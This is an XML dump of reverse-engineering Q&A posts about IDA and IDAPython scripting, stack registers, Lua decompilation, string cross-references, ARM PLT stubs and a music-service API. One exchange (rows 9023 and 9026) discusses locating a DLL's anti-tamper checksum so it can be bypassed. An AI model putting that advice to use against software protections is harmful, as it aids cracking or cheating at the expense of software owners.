  <row Id="9015" PostTypeId="1" CreationDate="2015-05-28T23:31:17.350" Score="-2" ViewCount="202" Body="&lt;p&gt;Did anyone take infosec institute's reverse engineering course? I'd like to know if it's worth my money, I didn't find feedback about the course on the web. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the people downvoting my post...why is that? Because of the tags? Using a tag is mandatory and I couldn't post with more appropriate tags like &quot;institute&quot; or &quot;company&quot; or something like that. The question is pertinent because it's about an institute that teaches reverse engineering. So I really don't get why the downvotes...don't you want to know how good a R$2000 reverse engineering course is before taking it??&lt;/p&gt;&#xA;" OwnerUserId="11615" LastEditorUserId="11615" LastEditDate="2015-05-30T15:09:33.830" LastActivityDate="2015-05-30T15:09:33.830" Title="infosec reverse engineering course" Tags="|disassembly|program-analysis|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-29T12:48:30.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="9016" PostTypeId="1" AcceptedAnswerId="9021" CreationDate="2015-05-29T09:12:29.940" Score="4" ViewCount="6537" Body="&lt;p&gt;Is there a way to specify the name of a function when creating it with &lt;code&gt;idc.MakeFunction()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what is the best practice to rename a function?&#xA;I found &lt;code&gt;idc.GetFunctionName(ea)&lt;/code&gt; but no counterpart to set a name. A google research turned up some examples where people used &lt;code&gt;idc.MakeNameEx()&lt;/code&gt;. Yet, the purpose of &lt;code&gt;MakeNameEx&lt;/code&gt;seems to be to rename addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def MakeNameEx(ea, name, flags): &quot;&quot;&quot; Rename an address&#xA;&#xA;@param ea: linear address&#xA;@param name: new name of address. If name == &quot;&quot;, then delete old name @param&#xA;flags: combination of SN_... constants&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And involves a whole bunch of flags such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;SN_NOCHECK    = idaapi.SN_NOCHECK    # Replace invalid chars with SubstChar&#xA;SN_PUBLIC     = idaapi.SN_PUBLIC     # if set, make name public &#xA;SN_NON_PUBLIC = idaapi.SN_NON_PUBLIC # if set, make name non-public &#xA;SN_WEAK       = idaapi.SN_WEAK       # if set, make name weak &#xA;SN_NON_WEAK   = idaapi.SN_NON_WEAK   # if set, make name non-weak&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need is a simple rename of a function keeping all its properties, flags etc...&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="53" LastEditDate="2015-05-29T12:51:34.807" LastActivityDate="2015-05-29T14:53:00.877" Title="Setting name of (newly created) functions via IDAPython" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostTypeId="2" ParentId="9015" CreationDate="2015-05-29T12:24:11.730" Score="1" Body="&lt;p&gt;The material is good for the course but the presentation and presenter suck big time. He pretty much reads from the slides directly. That said, the LABs and material is good. I have learned a lot. &lt;/p&gt;&#xA;" OwnerUserId="12648" LastActivityDate="2015-05-29T12:24:11.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9018" PostTypeId="1" CreationDate="2015-05-29T14:32:17.880" Score="1" ViewCount="2277" Body="&lt;p&gt;After PE loads into memory, sections are mapped depending on IMAGE_BASE value (assume there is no ASLR and it is always the same) and sections table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, how EBP value is determined (I assume ESP can be found of EBP). Can it be any valid memory address, or is it calculated depending on some rules?&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2015-05-30T01:17:30.190" Title="Initial ESP and EBP values (Windows x86)" Tags="|x86|register|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9019" PostTypeId="5" CreationDate="2015-05-29T14:33:48.070" Score="0" Body="&lt;p&gt;A processor register is a small amount of storage available as part of a digital processor, such as a central processing unit (CPU). Such registers are typically addressed by mechanisms other than main memory and can be accessed faster.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2015-05-30T01:08:01.837" LastActivityDate="2015-05-30T01:08:01.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9020" PostTypeId="4" CreationDate="2015-05-29T14:33:48.070" Score="0" Body="Use this tag when asking *about* registers, their properties, existence, usage or limitations. Avoid using this tag just because registers are mentioned in the question." OwnerUserId="8247" LastEditorUserId="2147" LastEditDate="2018-10-23T06:34:18.793" LastActivityDate="2018-10-23T06:34:18.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9021" PostTypeId="2" ParentId="9016" CreationDate="2015-05-29T14:53:00.877" Score="5" Body="&lt;p&gt;&lt;code&gt;idc.MakeName(ea, name)&lt;/code&gt; should suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the flags accepted by &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/203.shtml&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;MakeNameEx()&lt;/code&gt;&lt;/a&gt; don't change the function's properties or function's flags; they're instead used with regard to how the naming itself is handled.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-29T14:53:00.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9022" PostTypeId="1" CreationDate="2015-05-29T21:16:44.753" Score="-3" ViewCount="844" Body="&lt;p&gt;I've been trying to (reverse) a Lua script to source code again. Only problem I've got is that all variables are named &quot;L**&quot;, is there a way to decode that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it looks like this if I decompile it with &lt;code&gt;unluac&lt;/code&gt; (with chunk spy it isn't really readable)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if L5_1415 then&#xA;  if L5_1415 then&#xA;    if L5_1415 == L6_1416 then&#xA;      if L5_1415 &amp;gt; 0 then&#xA;        if L5_1415 then&#xA;        elseif L5_1415 &amp;gt;= L6_1416 then&#xA;          if L5_1415 then&#xA;            L8_1418 = A0_1410&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12649" LastEditorUserId="2147" LastEditDate="2018-09-28T19:28:53.833" LastActivityDate="2018-09-28T19:28:53.833" Title="Reversing Luac (is there a way to get proper variable names)" Tags="|disassembly|lua|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9023" PostTypeId="1" AcceptedAnswerId="9026" CreationDate="2015-05-29T22:11:40.800" Score="1" ViewCount="498" Body="&lt;p&gt;I have an dll that is loaded into a 64 bit process, it performs two check sums (at least) one to keep up to date (it receives a 13 character long string from the net which I'm fairly certain is an in house hash as it never changes and doesn't seem to corespond to any hash pattern I can think of 11 numbers 2 uppercase letters at the end) and the other to defeat people trying to patch/analyze behaviour of different execution paths, it will refuse to run if it's checksum is different than the expected one. I tested this by hex editing a string the program uses which resulted in the dll never running, patching it during runtime with a memory editor did work.&#xA;I guess the real question is how would I go about identifying where the checksumming happens, what are the common imports I should be hunting using IDA etc.&lt;/p&gt;&#xA;" OwnerUserId="12650" LastEditorUserId="12650" LastEditDate="2015-05-29T22:24:14.823" LastActivityDate="2015-05-30T03:07:52.423" Title="finding a checksum function using static analysis (IDA)" Tags="|ida|static-analysis|dll|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9024" PostTypeId="2" ParentId="9022" CreationDate="2015-05-29T22:18:42.567" Score="3" Body="&lt;p&gt;You can't retrieve function or variable names from compiled lua because the compiler strips it out of the compiled file, however you can make an educated guess by looking at what the decompiled lua code does. &lt;/p&gt;&#xA;" OwnerUserId="12650" LastEditorUserId="12650" LastEditDate="2015-05-29T22:58:31.430" LastActivityDate="2015-05-29T22:58:31.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9025" PostTypeId="2" ParentId="9018" CreationDate="2015-05-30T01:17:30.190" Score="3" Body="&lt;p&gt;The stack is allocated as part of the loading procedure, after the process is mapped into memory.  Its reserve size plays a part in where it can be placed in memory.  The location of the stack is not fixed, but ends up with a common value when the stack size and process image base is the default size.  It's simply the result of a memory allocation function, which finds the lowest location in memory that can satisfy the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the stack grows downwards, ESP initially points to the top of the stack.  When the process starts, EBP is saved on the stack, ESP is moved into EBP, and then some space is allocated for variables which are stored on the stack.  Thus, ESP is set to the new value of EBP less some bytes.  The number of bytes depends on how many variables Windows needs to store.  The number is essentially fixed, depending on the version of Windows (different versions of Windows require a different number of variables for process loading), but can be changed at any time by a patch, if ever additional information is needed to be used to start the process.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-05-30T01:17:30.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9026" PostTypeId="2" ParentId="9023" CreationDate="2015-05-30T03:07:52.423" Score="2" Body="&lt;p&gt;It really depends on the program. You mentioned that it receives a saved checksum from the net and checks it against the computed value - one way you could do this is to look for recv() calls (or whatever function they use to handle incoming packets). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will say that it would probably be much quicker to do this dynamically rather than statically. If you set a breakpoint on the packet handling function, you should be able to find where the check is occurring relatively easily (it should occur very soon after the 13 byte string is received). From there, you can work backwards and see where the computed value came from - if it's a pointer to the value, you can set a memory access breakpoint and run it again; if it's just the value, you can see how it was pushed onto the stack/accessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're dead set on doing it statically, good luck. Because it doesn't change from run to run, it's probably some kind of binary operation on the program - either a CRC or weak hash would be my guess.&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2015-05-30T03:07:52.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9029" PostTypeId="1" CreationDate="2015-05-30T11:40:04.290" Score="5" ViewCount="1954" Body="&lt;p&gt;Right now I'm trying to place a trace point and hook it with the Python code that pulls all relevant stuff from the stack. Unfortunately it just gives me the garbage all the time, because the value in cpu.esp is being updated &lt;strong&gt;after&lt;/strong&gt; this code is getting executed, while I need it to happen before.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TraceRegisters(DBG_Hooks):&#xA;    def dbg_bpt(self, tid, ea):&#xA;        fn = GetFunctionName(ea)&#xA;        if fn.startswith(&quot;Read&quot;):&#xA;            print &quot;%s(0x%x)&quot; % (fn, Dword(cpu.esp+4))&#xA;        elif fn.startswith(&quot;Write&quot;):&#xA;            print &quot;%s(0x%x, 0x%x)&quot; % (fn, Dword(cpu.esp+4), Dword(cpu.esp+8))&#xA;        return 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm feeling sorry for doing it in a callback that is intended for deciding if the debugger should stop, but I just couldn't find anything better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do what I want with just the power of IDAPython and/or plain IDA?&lt;/p&gt;&#xA;" OwnerUserId="12457" LastActivityDate="2015-05-30T11:40:04.290" Title="Tracing function call args with IDA Pro" Tags="|ida|idapython|functions|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostTypeId="1" CreationDate="2015-05-30T18:21:47.177" Score="2" ViewCount="1221" Body="&lt;p&gt;I'm currently exploring some binaries in IDA aided by source code for some of the functions.&#xA;Some functions are easily found using strings, while others are less easily found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have access to the compiler due to various reasons. Meaning I can't use the obvious solution of compiling the source and creating signatures with something like IDB2PAT or rizzo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create function signatures from the sources without compiling?&lt;/p&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2015-05-30T20:23:08.793" Title="Generating function signatures based on source code WITHOUT compiling" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9032" PostTypeId="2" ParentId="9031" CreationDate="2015-05-30T20:23:08.793" Score="2" Body="&lt;p&gt;Creating signature files for IDA is a 2-step process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a PAT file&lt;/li&gt;&#xA;&lt;li&gt;Compile the PAT file to a SIG file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The tools that come with IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ida/flair68.zip&quot; rel=&quot;nofollow&quot;&gt;FLAIR toolset&lt;/a&gt; allow you to automatically generate PAT files for OMF, COFF, ELF, PSX, and Trimedia libraries. The toolset also includes the PAT-to-SIG compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though you don't have the library binaries (and thus can't automatically generate the PAT files), given the fact that the PAT file format is documented in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ida/flair68.zip&quot; rel=&quot;nofollow&quot;&gt;FLAIR toolset&lt;/a&gt;'s pat.txt file, you can write your own tool to generate a PAT file or even create the PAT file manually (and then compile it to create your signatures file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since the patterns are based on the compiled bytes, you'd still need a binary form of the library code, so you'd still might as well use IDB2PAT or IDB2SIG. In other words, if you can't compile the source code and can't (or don't want to) identify the library functions in your IDB, then you're not going to be able to create traditional IDA signature files for that library code.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-30T20:23:08.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9033" PostTypeId="1" AcceptedAnswerId="9038" CreationDate="2015-05-31T03:06:51.773" Score="2" ViewCount="528" Body="&lt;p&gt;when I disassemble an OpenCV dynamic library file (&lt;code&gt;libopencv_imgproc.so&lt;/code&gt;), I find that there are a lot of &lt;code&gt;bl&lt;/code&gt; instructions which target address are in the &lt;code&gt;.plt&lt;/code&gt; section. But, I could'n find its symbol info. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00110ee0 &amp;lt;cvResize&amp;gt;:&#xA;  110ee0:   b5f0        push    {r4, r5, r6, r7, lr}&#xA;  110ee2:   4603        mov r3, r0&#xA;  110ee4:   b0bf        sub sp, #252    ; 0xfc&#xA;  ...&#xA;  110ef4:   4ca8        ldr r4, [pc, #672]  ; (111198 &amp;lt;cvResize+0x2b8&amp;gt;)&#xA;  110ef6:   9500        str r5, [sp, #0]&#xA;  110ef8:   f70e ebda   blx 1f6b0 &amp;lt;_init+0x2b4&amp;gt;&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could not find the address &lt;code&gt;1f6b0&lt;/code&gt; in the &lt;code&gt;.text&lt;/code&gt; section. It actually is in the &lt;code&gt;.plt&lt;/code&gt; section. However, I couldn't find it in the symbol table.&#xA;How can I get these missed symbol info?&lt;/p&gt;&#xA;" OwnerUserId="12647" LastEditorUserId="53" LastEditDate="2015-06-01T07:26:56.737" LastActivityDate="2015-06-01T07:28:54.543" Title="How to recognize the function call in a dynamic lib?" Tags="|arm|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9034" PostTypeId="1" AcceptedAnswerId="9036" CreationDate="2015-05-31T11:08:47.167" Score="1" ViewCount="973" Body="&lt;p&gt;I'm trying to make a search request with NetEase Cloud Music's API. I have found the URL used for sending a search request over &lt;code&gt;POST&lt;/code&gt; which is: &lt;code&gt;http://music.163.com/api/search/get/web&lt;/code&gt; with x-www-form-urlencoded data: &lt;code&gt;hlpretag=%3Cspan+class%3D%22s-fc56%22%3E&amp;amp;hlposttag=%3C%2Fspan%3E&amp;amp;s=ruslana&amp;amp;type=1&amp;amp;offset=0&amp;amp;total=false&amp;amp;limit=10&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Sending this request over produces a result like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;result&amp;quot;:&amp;quot;35b1748964afb6f6ab00803a07621642b1748964af8a7c1d883e3a6f3c773b3d42235da0ba9784a095beda502ab3e8b43fa71f6d6351854d2abf366ed520854009da31982d912f2f7dd26d69e2de683db1f5a185c8d2e83989d1c4b2c230a8669602ea79ebf70989a5b17264db4dabc8072d65deb133001e1236fd8bb37f850490980a4ed65fb639d5629556eff966c2b187d161ba859c63af417aaa447121564e8a4221525d5f0ac885a70ead44a613a07451cddfed5557af6572390e346375e6a91379f94b8530d942573735179b7bdadd3738e4e298e853ded86951b36d7e68ae593ebc6cad73d4e694d2c8debe3e162f84051dda75f10ff58521eb5d5bbf788a1603da61ded1d0b319e80d4bc73218e93665dd8559e420cdd7a0e74d443cd53b8dc20af99a89b3c14e64d9f9aadfc9cbb0b09db8c150e3ea793a1705fb710806ec39f24283c08489169c97527bafb59baed5215f769c55968829b222b3d320b11aab298da17104ddde48d9a77937a6ff100d5e12928d8917810338a51ebf2ef18c879c10a5b2d9c8f29d7524e70265d96ec9016be793f2bbbe55ec7994bb156a6baeda5c4884e6931731d8e6c0124ab298b518977c54c77cbb0eb601db25807ed2ac0d2eff3852427acd83ba0b38dda735b221467975b957074766912e6ea2b2791020bc4305489df1bb9880b47396d1716d01cff904ce4de0d20a4924e6ff220412dbe8305056463c35f7d22dafa3badffded51ee81b6045f5179f59166ec7f4115ecb5f9bb95e92c870a7f7045f1e7765bed3dbf62a09e963279a8ecb2316e39e2540bbe640b20a29a3098f5918aec7572f49ebcca1a3ae96b31927c2274d39ce6b26dd50d0431666a48649c37764010dc48156980022668fd2cec7b855e3a570464a077ffd1005553fd213111a98c2cb20ce50c59c350695b6c93519fd58ee0464e3ae5744873f1de490b0d6f308d6b05cbe59501028a8c8bd6f9a72d1ea6eae2b3ff4a451dc8413d25d611620f3a40b51019a36c2d2674a610bb2cfd2097c1ff3a91ee3b0b6262102dafc72dfd48ab398dea09e3a5d98c952c6674df981017954d222df1cf422403f032cd441f690be826593a50dbac35cb10b555f440e244b1e84e312f9fc0a4b8f5817a916fa4cb65487a12a4558d1adfa01017c6af5f16e2f9eded9c6bab1f62627fa3b3a313a89eeda80f7f4c408542d14ab3d333c0f915d552aedef29595e692dde790dd3b59de48434ff0d86ea13704fbc6f1c8720e82ee2a319d3b779989337239a8&amp;quot;,&amp;quot;code&amp;quot;:200,&amp;quot;abroad&amp;quot;:true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have cut off most of &lt;code&gt;result&lt;/code&gt; due to it being colossal. What is the data in &lt;code&gt;result&lt;/code&gt; and how is it encoded? Looking through other peoples efforts turns up nothing to contribute either. On &lt;a href=&quot;https://github.com/grasses/NetEase-Wireless-MusicBox/blob/master/api.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; Github project I've found there's a function for searches, it doesn't seem to do anything significant to the returned data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; def search(self, s, stype=1, offset=0, total='true', limit=60):&#xA;        action = 'http://music.163.com/api/search/get/web' &#xA;        print self.cookies&#xA;        data = {&#xA;            's': s,&#xA;            'type': stype,&#xA;            'offset': offset,&#xA;            'total': total,&#xA;            'limit': 60,&#xA;            '__csrf': self.cookies['__csrf'],&#xA;        }&#xA;        return self.httpRequest('POST', action, data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And when you look on the NetEase website itself and look at the API calls after a search, theres nothing, so its not like theres an extra API call involved in getting all the search data either.&lt;/p&gt;&#xA;&lt;p&gt;Any input on this would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12657" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-05-31T15:28:58.830" Title="NetEase Cloud Music: Getting search results in API" Tags="|websites|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9035" PostTypeId="1" AcceptedAnswerId="9037" CreationDate="2015-05-31T13:38:17.290" Score="3" ViewCount="4643" Body="&lt;p&gt;I'm trying to disassemble an application (built from a Chinese company in English).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the text string I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0041048C aEraseError     db 'Erase error !',0Ah,0 ; DATA XREF:&#xA;.rdata:0040C624o&#xA;.data:0041048C                                         ; .rdata:0040CF28o ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I cannot locate it in the code anywhere. It's strange some text strings are found but others are not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: The application also loads a custom &lt;code&gt;.dll&lt;/code&gt; file. The text is located in the main exe file's &lt;code&gt;.rdata&lt;/code&gt; segment, but I just cannot see it in the code. I've tried with other disassemblers but I am using IDA.&lt;/p&gt;&#xA;" OwnerUserId="12660" LastEditorUserId="53" LastEditDate="2015-05-31T13:54:15.827" LastActivityDate="2015-05-31T21:31:16.823" Title="I cannot find a text string referened in the the .rdata" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9036" PostTypeId="2" ParentId="9034" CreationDate="2015-05-31T15:28:58.830" Score="2" Body="&lt;p&gt;The answer is embarrassingly simple. Simply remove the &lt;code&gt;/web&lt;/code&gt; part of the URL so you end up with something like this: &lt;code&gt;http://music.163.com/api/search/get/&lt;/code&gt; and you're good to go.&lt;/p&gt;&#xA;" OwnerUserId="12657" LastActivityDate="2015-05-31T15:28:58.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9037" PostTypeId="2" ParentId="9035" CreationDate="2015-05-31T18:08:16.560" Score="7" Body="&lt;p&gt;Your string seems to have an xref (cross reference, see below) from &lt;code&gt;0040C624&lt;/code&gt;. This string might just be an entry in an array of error strings, with the array itself beginning just a little before &lt;code&gt;0040C624&lt;/code&gt;. Your original source code may have looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *unused=&quot;unused string&quot;;&#xA;char *errors[] = {&#xA;    &quot;error 0&quot;,&#xA;    &quot;some other error&quot;,&#xA;    &quot;yet another error&quot;,&#xA;    &quot;Erase error!&quot;,&#xA;    &quot;....&quot;,&#xA;};&#xA;&#xA;void print_error_message(int index) {&#xA;    puts(errors[index]);&#xA;}&#xA;&#xA;int handle_erase_error() {&#xA;    print_error_message(3);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you compile this (i used gnu C on linux, &lt;code&gt;gcc -m32 xref.c&lt;/code&gt;) and load the object code into IDA, it becomes (irrelevant parts omitted):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:08000000 print_error_message proc near           ; CODE XREF: handle_erase_error+Dp&#xA;.text:08000000                 push    ebp&#xA;.text:08000001                 mov     ebp, esp&#xA;.text:08000003                 sub     esp, 18h&#xA;.text:08000006                 mov     eax, [ebp+8]&#xA;.text:08000009                 mov     eax, errors[eax*4]&#xA;.text:08000010                 mov     [esp], eax      ; s&#xA;.text:08000013                 call    puts&#xA;.text:08000018                 leave&#xA;.text:08000019                 retn&#xA;.text:08000019 print_error_message endp&#xA;&#xA;&#xA;.data:08000030 unused          dd offset aUnusedString ; &quot;unused string&quot;&#xA;.data:08000034 errors          dd offset aError0       ; DATA XREF: print_error_message+9r&#xA;.data:08000034                                         ; &quot;error 0&quot;&#xA;.data:08000038                 dd offset aSomeOtherError ; &quot;some other error&quot;&#xA;.data:0800003C                 dd offset aYetAnotherErro ; &quot;yet another error&quot;&#xA;.data:08000040                 dd offset aEraseError   ; &quot;Erase error!&quot;&#xA;.data:08000044                 dd offset a____         ; &quot;....&quot;&#xA;&#xA;.rodata:08000049 aUnusedString   db 'unused string',0    ; DATA XREF: .data:unusedo&#xA;.rodata:08000057 aError0         db 'error 0',0          ; DATA XREF: .data:errorso&#xA;.rodata:0800005F aSomeOtherError db 'some other error',0 ; DATA XREF: .data:08000038o&#xA;.rodata:08000070 aYetAnotherErro db 'yet another error',0 ; DATA XREF: .data:0800003Co&#xA;.rodata:08000082 aEraseError     db 'Erase error!',0     ; DATA XREF: .data:08000040o&#xA;.rodata:0800008F a____           db '....',0             ; DATA XREF: .data:08000044o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see that each string has a pointer entry in the &lt;code&gt;data&lt;/code&gt; section, and the ascii data in the &lt;code&gt;rodata&lt;/code&gt; (read only data) section. And each of the ascii strings has an xref (cross reference) to the pointer that points to it - this is not a part of the binary; ida detects where each string is referenced, and generates the &quot;backreferences&quot;, or xrefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important thing is: you can use this to find the string table (errors, at &lt;code&gt;0x08000034&lt;/code&gt;) if you have only the ascii bytes. And you can find where the string table itself is used by looking at its xref - from the print_error_message function. In contrast, the unused string does &lt;em&gt;not&lt;/em&gt; have an xref, because it isn't used anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ida will allow you to double-click on the xref to move to where it 'comes from' to navigate easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd check if you have an array of strings that starts a bit before the xref to your string, where it gets used, and possibly where the using function gets called.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another possibility is something that i saw a few days ago in an ARM android shared library. The library had some strings holding function names, directly after each other, like this (translated to x86 syntax)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;errmsg    db 'Error in %s, file %s, line %d\n', 0&#xA;strtab    db 'opencachefile', 0&#xA;          db 'closecachefile', 0&#xA;          db 'getcacheentry', 0&#xA;          db 'putcacheentry', 0&#xA;          db 'delcacheentry', 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function that got something from cache used the third of these strings to log a possible error. The code looked like this (again, translated from arm to x86):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;mov    eax, offset strtab&#xA;add    eax, 29           ;&amp;lt;-- difference in bytes between 'open' and 'get'&#xA;push   eax&#xA;mov    eax, offset errmsg&#xA;push   eax&#xA;call   android_log_print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other functions had similar constructs, so &lt;code&gt;strtab&lt;/code&gt; was referenced 5 times (one in each function), and the byte difference adjusted in each of them. I sincerely don't know why a compiler would do this, but just &lt;em&gt;maybe&lt;/em&gt; something similar is going on in your code.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-05-31T21:31:16.823" LastActivityDate="2015-05-31T21:31:16.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9038" PostTypeId="2" ParentId="9033" CreationDate="2015-05-31T20:46:53.600" Score="1" Body="&lt;p&gt;Doing it the hard way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;disassemble the target PLT stub and figure out what pointer it's using. E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;359dc:  e28fc601    add ip, pc, #1048576    ; 0x100000&#xA;359e0:  e28ccaa2    add ip, ip, #663552 ; 0xa2000&#xA;359e4:  e5bcf900    ldr pc, [ip, #2304]!    ; 0x900&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, the &lt;code&gt;ip&lt;/code&gt; will be: &lt;code&gt;0x359e4+0x100000+0xa2000 = 0x1D79E4&lt;/code&gt;, so the last &lt;code&gt;LDR&lt;/code&gt; will dereference &lt;code&gt;1D79E4+0x900 = 0x1D82E4&lt;/code&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;look up the address in the list of relocs (&lt;code&gt;objdump -dr&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;001d82e4  00005216 R_ARM_JUMP_SLOT   00000000   _ZN2cv10cvarrToMatEPKv&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Doing it the easy way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Just use IDA :), or at least a newer &lt;code&gt;objdump&lt;/code&gt; &lt;a href=&quot;http://www.sourceware.org/ml/binutils/2004-04/msg00469.html&quot; rel=&quot;nofollow&quot;&gt;which knows about PLT stubs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000359dc &amp;lt;_ZN2cv10cvarrToMatEPKvbbi@plt&amp;gt;:&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please note that &lt;code&gt;objdump&lt;/code&gt; relies on the fact that the order of PLT stubs usually matches the order of relocations in the PLT reloc list. In theory, one can patch a PLT stub after linking so it uses another symbol's pointer.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2015-06-01T07:28:54.543" LastActivityDate="2015-06-01T07:28:54.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
